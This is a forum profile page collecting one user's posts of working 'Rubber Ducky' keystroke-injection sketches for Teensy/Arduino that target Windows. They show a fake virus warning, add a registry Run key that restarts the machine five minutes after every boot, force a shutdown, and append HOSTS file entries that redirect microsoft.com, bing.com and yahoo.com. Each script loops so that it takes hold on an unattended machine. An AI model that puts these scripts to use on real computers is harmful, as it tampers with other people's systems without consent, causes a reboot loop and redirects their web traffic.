Jump to content

metalx1000

Active Members
  • Posts

    6
  • Joined

  • Last visited

Everything posted by metalx1000

  1. Thanks for the helpful tips. If you read the description in the code, you would see why I put it in the loop. If you are familiar with the Windows OS you know that it can take it a while for it to detect a new keyboard. So, My code loops in case is it missed the first time around.
  2. Thanks for the heads up, I didn't realize they got posted there. When I first got my kit I didn't think to come the forum so I just emailed the code to Darren. He must have posted them there for me.
  3. This code has only been tested in Windows XP running with in a virtualbox on my Linux box. If other could give me feed back on how it runs on other systems it would be helpful. /* Rubber Ducky VBS ErrorMSG Created By Kris Occhipinti (A.K.A. Metalx1000) April 27th 2010 Released under the GPLv3 http://www.gnu.org/licenses/gpl.html Description: This code will create a fake Error Message on a Windows system. It loops every 5 second incase the code was missed the first time. TESTED on Windows XP For more info Please Visit: http://FilmsByKris.com http://www.hak5.org/ */ void setup() { } // no setup needed void loop() { //clears any modifier keys Keyboard.set_modifier(0); Keyboard.send_now(); delay(2000); //create tmp dir for scripts run_cmd("cmd /c mkdir c:\\tmp"); delay(200); //Create VBS that will put run_cmd("cmd /c echo msgbox \"System Error!\" >> c:\\tmp\\msg.vbs"); delay(200); run_cmd("cmd /c echo msgbox \"There is a possiable Virus on you systems!\" >> c:\\tmp\\msg.vbs"); delay(200); run_cmd("c:\\tmp\\msg.vbs"); delay(5000); } void run_cmd(char *command) { Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); delay(20); // release all the keys at the same instant Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); Keyboard.println(command); delay(20); }
  4. This code has only been tested in Windows XP running with in a virtualbox on my Linux box. If other could give me feed back on how it runns on other systems it would be helpful. /* Rubber Ducky Restart Created By Kris Occhipinti April 27th 2010 Released under the GPLv3 http://www.gnu.org/licenses/gpl.html Description: This code will Edit Windows Registry to add the command that will restart the computer 5 minutes after it restarts It loops every 5 second incase the code was missed the first time. For more info Please Visit: http://FilmsByKris.com http://www.hak5.org/ */ void setup() { } // no setup needed void loop() { //clears any modifier keys Keyboard.set_modifier(0); Keyboard.send_now(); delay(2000); //create tmp dir for scripts run_cmd("cmd /c mkdir c:\\tmp"); delay(200); //open note pad run_cmd("notepad"); delay(500); //write reg_code reg_code(); delay(500); //save code save_code("c:\\tmp\\sleepyducky.reg"); delay(200); //close notepad close_win(); delay(20); Keyboard.print("n"); delay(200); //edit registry run_cmd("REGEDIT.EXE /s c:\\tmp\\sleepyducky.reg"); delay(500); //clean up run_cmd("cmd /c del /s c:\\tmp /q"); delay(5000); } void run_cmd(char *command) { Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); delay(20); // release all the keys at the same instant Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); Keyboard.println(command); delay(20); } void close_win(){ Keyboard.set_modifier(MODIFIERKEY_ALT); Keyboard.set_key1(KEY_F4); Keyboard.send_now(); delay(50); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(20); } void reg_code(){ Keyboard.println("Windows Registry Editor Version 5.00"); Keyboard.println("[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]"); Keyboard.println("\"The Duck is Tired\"=\"shutdown -r -t 300\""); delay(500); } void save_code(char *file){ //runs Save As command in notepad Keyboard.set_modifier(MODIFIERKEY_ALT); Keyboard.send_now(); Keyboard.print("fs"); delay(50); Keyboard.set_modifier(0); Keyboard.send_now(); delay(50); Keyboard.print(file); delay(50); Keyboard.set_key1(KEY_TAB); delay(50); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.send_now(); delay(50); Keyboard.println("a"); delay(50); }
  5. This code has only been tested in Windows XP running with in a virtualbox on my Linux box. If other could give me feed back on how it runns on other systems it would be helpful. /* Rubber Ducky Shutdown Created By Kris Occhipinti (A.K.A. Metalx1000) April 27th 2010 Released under the GPLv3 http://www.gnu.org/licenses/gpl.html Description: This code will set a Windows Machine to shutdown in 5 minute. Runs in under 1 second. It loops every 5 second incase the code was missed the first time. For more info Please Visit: http://FilmsByKris.com http://www.hak5.org/ */ void setup() { } // no setup needed void loop() { //clears any modifier keys Keyboard.set_modifier(0); Keyboard.send_now(); Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); delay(20); // release all the keys at the same instant Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(20); //Enters shutdown command in Seconds (300 secs = 5 Minutes) Keyboard.println("shutdown -s -t 300 -f"); delay(100); Keyboard.send_now(); delay(20); Keyboard.set_key1(0); Keyboard.send_now(); delay(5000); }
  6. I've only tested this on WindowsXP running in a VirtualBox in Linux If other could test it and let me know how it runs on there systems it would be helpful. /* Rubber Ducky HOSTs Created By Kris Occhipinti (A.K.A. Metalx1000) April 27th 2010 Released under the GPLv3 http://www.gnu.org/licenses/gpl.html Description: This code will modify your windows HOSTS file to redirct web browsing By default it re-routes microsoft.com to linux.com bing.com to Google.com yahoo.com to Google.com It loops every 5 second incase the code was missed the first time. For more info Please Visit: http://FilmsByKris.com http://www.hak5.org/ */ void setup() { } // no setup needed void loop() { //clears any modifier keys Keyboard.set_modifier(0); Keyboard.send_now(); run_cmd(); //routes microsoft.com to linux.com Keyboard.println("cmd /c echo 140.211.167.55 microsoft.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts"); run_cmd(); //routes bing.com to Google.com Keyboard.println("cmd /c echo 74.125.65.147 bing.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts"); run_cmd(); //routes yahoo.com to Google.com Keyboard.println("cmd /c echo 74.125.65.147 yahoo.com >> c:\\WINDOWS\\system32\\drivers\\etc\\hosts"); delay(100); Keyboard.send_now(); delay(20); Keyboard.set_key1(0); Keyboard.send_now(); delay(5000); } void run_cmd(){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); delay(20); // release all the keys at the same instant Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); }
×
×
  • Create New...